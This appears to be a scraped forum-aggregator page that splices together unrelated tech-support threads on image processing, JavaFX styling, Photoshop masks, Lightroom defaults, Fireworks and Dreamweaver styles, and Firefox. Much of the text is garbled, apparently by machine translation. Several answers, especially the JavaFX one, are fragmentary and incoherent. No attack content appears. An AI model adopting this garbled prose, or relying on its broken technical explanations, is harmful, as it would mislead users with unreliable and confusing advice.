I need to run this method twice on two separate, identical images every time that overwrite the original image. It works on the first fine image, but then on the second picture, she throws an exception ("Type of Image invalid"). What happens here? I tried to change the order of how to get picture but the first we're STILL working and the second fails.
I just looked at your code once again, and now I'm sure of it. Image1 and Image2 are pointing to the same image as the Original. Since using them as images of destination, they are getting crushed. Your code is like the following:
ExtractColor (Original, Original) / / Original has been transformed from color to grayscale
ExtractColor (Original, Original) / / cannot convert to grayscale image, must be color - error!
Bruce
-
Inline-fx-background-image style does not work in fxml
Hello
I encountered a problem on this topic. Background image could not be shown when using inline style. However, using the external style sheet file is fine.
Could someone help me understand? The date.png file is stored in the current package with the .fxml file that contains snippets of code below.
I also found when I put a .fxml file in < fx: include... / >, loses its external style sheet. I didn't think to it for several days.
Thank you for helping me.
<HBox prefHeight="26.0" prefWidth="1024.0" style="-fx-background-image:url('date.png');" xmlns:fx="http://javafx.com/fxml/1" xmlns="http://javafx.com/javafx/2.2"> </HBox>The
element in Bottom.fxml (which is the element root fxml file) and the In general, l is actually allowed to have the attribute fx:id for both, but not if you rely on it to set the css for you, id which you seem to be in this case.
So, first of all, do not rely on fx:id = «...» "to set the css id. Use id = "..." "on all the nodes that you want to set a css id on. Do not use fx:id = «...» "unless you want to refer to these nodes in the controller (and in this case to use both).
Second, either the value id = «...» "on the part of
Bottom.fxml, or the value id = «...» "on the element So, if I use
or in Bottom.fxml, the only way to properly display css is to remove both fx:id and If you use
(and no id = "... ") or in Bottom.fxml, * and * you use, say, In both cases, the css selector
#bottom #BottomHBox
certainly does not match anything. You don't have any node with id = "BottomHBox" which is the descendant of a node with id = 'bottom', which is what will match this selector.
-
Action to combine separate images and alpha channels
I have a sequence of images 200 + each with a separate file, corresponding alpha channel which should be recombined in photoshop. Ideally, I would like to load each image as a layer and the corresponding alpha image as a mask to this layer, and then save the entire file as a .tiff.
The files are in the order IE results)
Image_1
Image_1_alpha
Image_2
Image_2_alpha
Image_3
Image_3_alpha
...
I am familiar with the actions and batch processing, but something of this magnitude is beyond me. I think there should be some kind of custom script or action. Ideas and help is appreciated!
So I sort of found a work around that is not as intuitive, but works using measures.
Basically, I opened a pair of side-by-side images in PS it is)
Image_1
Image_1_alpha
and performed an action where I copied the image alpha basically and pasted as a mask for color image. I then added a record and double closure order to close both files.
If I open all my files-by-side in sequence and perform the action that I can treat all my files but need to manually run the action rather than use a drop or a lot.
-
Import from camera in lightroom with tact camera (camera neutral) image styles
I use the camera neutral style of photo on my Canon 5 d mark ii when shooting landscapes photogtraphy. I wish that my pictures to remain neutral to the camera when I import them. However, Lightroom is still by default Adobe Standard photos. Is there a way for there did not happen? I'm fairly new to lightroom (used for 5 months) and would be very grateful for help because I am trying to import 16 gigs of Wallowa mountain photogtraphy and do not want to manually edit each photo.
mrwoofpup wrote:
That sounds good. I put a lot of photos to the neutral of the camera, but I have no idea how to do to save
as a default setting, which is what I want to think I use only neutral camera. Can you give me a step by step process simple but elusive?
In the develop module, have the image that contains the settings you want for your default highlighted. In the menu at the top of the screen in Lightroom, go to settings to develop / default and follow the prompts.
-
A text box appears if a separate image is upside down?
Hello
Sorry if this is a stupid question, but I have searched for a solution to this problem:
I made a gallery of images, and I want their descriptions below an image on rollover. I also want to text boxes to stay under an images at the same distance on the page gets scaled down. If I have understood correctly, the text boxes must start below the image and stay on the same layer, so that they scale adapted in what concerns my images.
Is there a way to make a sensitive layout and define a text box must appear as an image when the image is upside down?
Thank you very much!
Without seeing what you're trying to do, it is very difficult to answer. Have you tried to add the image and the description inside a container? Or maybe the ToolTip Widget can work for you, if you want the text to appear on mouseover or something.
-
I need to create two separate images/settings, different from a single image how do I do this?
I imported a picture, I need to change the image of a project and I need to change it again to another but I want to keep my settings for both. How can I do this?
Right-click on the image in the library, and then choose Create a Virutal.
This will do exactly what you want, you can now edit the two versions indpendently.
-
manipulate the settings separate images?
I am trying to copy a range of video and change the rates differently for each copy.
For example, the first 10 frames are accelerated. Then a copy of the first 10 frames is slowed down. Then the next 10 frames are added.
I think I find myself handling video outside the selection when I use timewarp, perhaps because it uses the original film.
How would you suggest to independently manipulate copies of parts of the video?
I just use avisynth where I manipulate ranges of frames separately as they were in the original. So, for example, if you lengthen the first 10 frames in the output to make it the length of 20 images, then to manipulate the next 10 images from the video source, the selection starts with 10 frame (the frame 11) to the place where he would be after the first extension. 11 No 21.
Each entry of sequences in the project Panel has a series of In and Out points. Duplicate the footage item in the project Panel to create another instance with a different set of In and Out points, etc.
-
Paragraph styles are an alphabetical/digital count of a separate paragraph style.
I need help to figure out how I can configure several paragraph styles, so you can start a digital count - have an alphabetical numbering inside the digital count - and then continue with the first, digital original County.
I know that I based the alphabetical style off the digital-, but I advanced and based on any model b/c I thought that it was playing with her...
Please help me if you can, I appreaciate it!
When you set up the numbering of the paragraph style properties dialog box, there is a parameter 'list '. Used to create a new list for each p.style that must have its own numbering system, so that they different styles do not interfere.
-
Pop - up Menu Editor - appearance Image Style
I followed every bit of help I can find and still picture styles are not displayed. I placed the following files to the following locations:
C:\Documents and Settings\ZMarie\Application Data\Macromedia\Fireworks 8
Style Defaults.stl
Styles.STL
C:\Program Files\Macromedia\Fireworks 8\First Run\Nav Menu
Styles.STL
C:\Program Files\Macromedia\Fireworks 8\First Run\Styles
Style Defaults.stl
What Miss me? Your help is sincerely appreciated. Thank you for your time.After talking with a Support person technology Senior from Macromedia, go here:
C:\Documents and Settings\
\Application Data\Macromedia\Fireworks 8 and create a folder named "Nav Menu". Inside this new folder, copy the Styles.stl file, which you can find in C:\Program Files\Macromedia\Fireworks 8\First Run\Nav Menu folder.
Stupid, I know, but it's how to do it.
-
Style Ajax loading Image for WaitScreen
I am creating a basic WaitScreen using an Ajax loading image style. The image of style ajax is an animated .gif that rotates in a circle.
I can put the image on the screen, but it is not running as it should. Any ideas?
EncodedImage i = EncodedImage.getEncodedImageResource("ajax-loader.gif"); BitmapField bitmapField = new BitmapField(); bitmapField.setImage(i); this.add(bitmapField);This should help you:
-
You can export images that have been glued in an Illustrator document as separate files?
I have a document Illustrator of several pages (more than 50 work plans) which contains a lot of images that are all stored in the document (without link in separate files) and all images must be exported as separate image files (similar to when you compress a file in Indesign). The problem is the files are not related, they are all saved in the document.
You want to avoid having to copy + paste each image into a new document in Photoshop, then save them individually because it will take forever.
Save the PDF document and open it in Photoshop. Select only the Images in the dialog box open and continue from there.
-
Question: two separate images in DW that seem linked... whenever I change the px on a it turns into the same thing on the other image.
Background: using DW to update an existing Web site and all image sizes changed.
Help, please...
You probably have a global stylesheet and when you style the img selector, it applies site wide.
/ * This effects all the images in your site selector * /.
img { }
To limit a change of style to a picture, give it an identifier.
#special {width: 400px}
ID = "special" src = "some_image.jpg" > "
Nancy O.
-
When I view an image in its own tab, the background is dark gray. How can I change to white?
I started using Firefox 21.0 the other day, and I noticed that when I click to display an image, the background for the rest of the tab becomes dark gray. I'm used to the white background and would like to change it back, but I don't know how. I would really appreciate the help.
Hey there,
If you want your community to be white temporary, run this piece of code in your Javascript (Shift + Ctrl + K) console:
document. Body.style.Background = 'white'
Otherwise, you can use this module to restore the old style:
https://addons.Mozilla.org/en-us/Firefox/addon/old-default-image-style/?src=API
Good luck!
Maybe you are looking for
-
Need to recover the laptop HP G60
Trying to recover a laptop. I know that the disc is good that I pulled and plugged into a USB device and scanned to get rid of malware that took out the boot sector. I can start on a Win 7 (from MSDN) installation disc and I can boot to the BIOS men
-
Can someone tell me the length of that speedlite? not with the flash head at an angle of 90 degrees but just straight up. Thanks for all, Blair...
-
I tried to download DirectX on my desktop but the download failed and I got error S1023
I tried to download DirectX on my desktop with Win XP. The download failed and I got the S1023 error message. Now what should I do? I need the download. Original title: download DirectX issue
-
Hi everyone, software of photo editor says "Unfortunately stop application.» When I location setting is disable application works well. How can I fix this problem?
-
Mouseless in New York... Microsoft Wireless Mobile mouse 3500 has stopped working on the Surface RT
This mouse was working well, but no more. The error indicates the device is 'unknown '. Tried to download the driver, but would not be executed (called store but nothing relevant). We have a couple of these mice, all had worked and now... nada. I won